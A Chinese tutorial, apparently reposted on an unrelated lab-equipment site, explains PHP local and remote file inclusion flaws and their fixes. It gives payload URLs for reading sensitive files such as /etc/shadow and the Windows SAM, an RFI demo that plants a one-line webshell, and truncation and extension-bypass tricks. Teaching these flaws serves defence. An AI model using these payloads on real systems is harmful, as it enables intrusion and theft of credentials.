超详细文件包含漏洞原理及修复

您所在的位置:网站首页 java任意文件下载漏洞修复不了 超详细文件包含漏洞原理及修复

超详细文件包含漏洞原理及修复

2024-07-15 20:03:58| 来源: 网络整理| 查看: 265

一、文件包含是什么

程序开发人员通常会把常用的可复性使用的函数写到一个文件中,在使用某些函数时,直接调用此文件,无需再次编写,这种调用文件的过程一般被称为文件包含。 (通俗的来说就是把文件放在一个文件夹下面然后使用的时候就可以直接调用)

文件包含原因

文件包含漏洞的原因? 随着网站业务的需求,程序开发人员一般希望代码更加灵活,所以将包含文件设置为变量,用来进行动态调用,但是正是这种灵活性通过动态变量的方式引入需要包含文件时,用户对这个变量可控而且服务端也没有做合理的校验或者校验被绕过就照成了文件包含漏洞 php中常见的文件的函数 include() 当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时之给出一个警告,继续向下执行 include_once() 功能与include()相同,区别在于重复调用同一文件时,程序只调用一次 require() require()和include()的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本执行 require()_once() 功能与require()相同,区别在于当重复性调用同一文件时,程序只执行一次 几乎所有脚本语言中都提供文件包含的功能,但文件包含漏洞在PHP中居多,而在asp jsp asp.net程序中非常少,甚至没有文件包含漏洞存在。这与程序员水平没有关系而问题在于语言设计的弊端

二、本地文件文件包含

仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。

1.本地文件包含漏洞代码

代码:

GET[‘filename’]参数没有经过严格的过滤,直接带入了include()函数,攻击者可以修改$_GET[‘filename’]的值,加载其他文件,执行非预期的操作,由此造成了文件包含漏洞;

复现过程

http://127.0.0.1/file?filename=phpinfo.php在这里插入图片描述如果我们通过信息收集找到路径就可以构造payload访问敏感信息我们

payload:http://127.0.0.1/file?filename=C:\phpStudy\MySQL\my.ini

这样就造成了敏感信息泄露查看配置文件在这里插入图片描述

常见敏感信息路径

Windows

c:\boot.ini // 查看系统版本

c:\XX\httpd.conf Apache配置信息

c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

c:\windows\repair\sam // 存储Windows系统初次安装的密码

c:\ProgramFiles\mysql\my.ini // MySQL配置

c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码

c:\windows\php.ini // php 配置信息

Linux/Unix

/etc/passwd 账户信息

/etc/shadow 账户密码文件

/etc/httpd/conf/httpd.conf Apache配置文件

/etc/my.conf mysql 配置文件

/usr/local/app/apache2/conf/httpd.conf Apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf 虚拟网站配置

/usr/local/app/php5/lib/php.ini PHP相关配置

2.远程文件包含

远程文件包含漏洞 能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩。 因此,在web应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,如果非要这么做,也一定要做严格的白名单策略进行过滤。 代码:

创建一句话木马payload,将代码保存到一个txt文件里面

创建一个文件夹sell.php 密码是cmd

配置payload:http://192.168.16.41/file.php?filename=http://127.0.0.1/1.txt 在这里插入图片描述查看文件下面多了一个shell.php 在这里插入图片描述打开菜刀连接密码cmd 在这里插入图片描述 在这里插入图片描述成功拿到shell

PHP伪协议

讲到远程文件包含就不得不讲php伪协议 PHP带了很多内置URL风格的封装协议,可用于fopen、copy、file_exists和filesize等文件系统函数。除了这些内置封装协议,还能通过stream_wrapper_register注册自定义的封装协议。这些协议都被称为伪协议。 File:// ——访问本地文件系统 http:// ——访问HTTP(s)网址 ftp:// ——访问FTP(s)URLs php:// 访问各个输入/输出流(I/o streams) zlib:// 压缩流 data:// 读取数据(RFC2397) glob:// 查找匹配的文件路径模式 phar:// PHP归档 ssh2:// Secure Sheel2 rar:// RAR ogg:// 音频流 expect:// 处理交互式的流 远程文件包含漏洞配合远程文件包含漏洞可以触发想不到的惊喜 详细使用参考:https://www.cnblogs.com/xhds/p/12216170.html

本地文件包含漏洞绕过 本地文件包含漏洞绕过 1.%00截断让后面的直接截取掉 payload: http://127.0.0.1/file?filename=phpinfo.php%00 2.路径长度截断文件包含 操作系统存在最大路径长度的限制。可以输入超过最大路径长度的目录,这样系统就会将后面的路径丢弃,导致扩展名截断 漏洞利用条件 Windows下目录的最大路径256B Linux下目录的最大路径长度为4096B payload:http://127.0.0.1/file?filename=phpinfo.php/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

3.点号阶段文件包含

点号截断适用于Windows系统,当点号的长度大于256B时,就可以造成扩展名截断。

payload:http://127.0.0.1/file?filename=phpinfo.php…

成功使用.号截断后面的.html扩展名,包含了我们想要的文件。

远程文件包含绕过

有限制远程文件包含是指当代吗中存在特定的前缀或者.php、.html等扩展名过滤时,攻击者仅需要绕过前缀或者扩展名过滤,才能执行远程URL中恶意代码。

漏洞代码:

**?问号绕过** http://127.0.0.1/test.php?filename=http://192.168.1.110/xiaohua.txt? **#号绕过** http://127.0.0.1/test.php?filename=http://192.168.1.110/xiaohua.txt%23(#号要编码) **空格绕过** http://127.0.0.1/test.php?filename=http://192.168.1.110/xiaohua.txt%20(%20是空格的url编码) 文件包含修复

1.建议白名单 2.指定访问一定的路径,再将参数拼接到路径当中



【本文地址】

公司简介

联系我们

今日新闻


点击排行

实验室常用的仪器、试剂和
说到实验室常用到的东西,主要就分为仪器、试剂和耗
不用再找了,全球10大实验
01、赛默飞世尔科技(热电)Thermo Fisher Scientif
三代水柜的量产巅峰T-72坦
作者:寞寒最近,西边闹腾挺大,本来小寞以为忙完这
通风柜跟实验室通风系统有
说到通风柜跟实验室通风,不少人都纠结二者到底是不
集消毒杀菌、烘干收纳为一
厨房是家里细菌较多的地方,潮湿的环境、没有完全密
实验室设备之全钢实验台如
全钢实验台是实验室家具中较为重要的家具之一,很多

推荐新闻


图片新闻

实验室药品柜的特性有哪些
实验室药品柜是实验室家具的重要组成部分之一,主要
小学科学实验中有哪些教学
计算机 计算器 一般 打孔器 打气筒 仪器车 显微镜
实验室各种仪器原理动图讲
1.紫外分光光谱UV分析原理:吸收紫外光能量,引起分
高中化学常见仪器及实验装
1、可加热仪器:2、计量仪器:(1)仪器A的名称:量
微生物操作主要设备和器具
今天盘点一下微生物操作主要设备和器具,别嫌我啰嗦
浅谈通风柜使用基本常识
 众所周知,通风柜功能中最主要的就是排气功能。在

专题文章

    CopyRight 2018-2019 实验室设备网 版权所有 win10的实时保护怎么永久关闭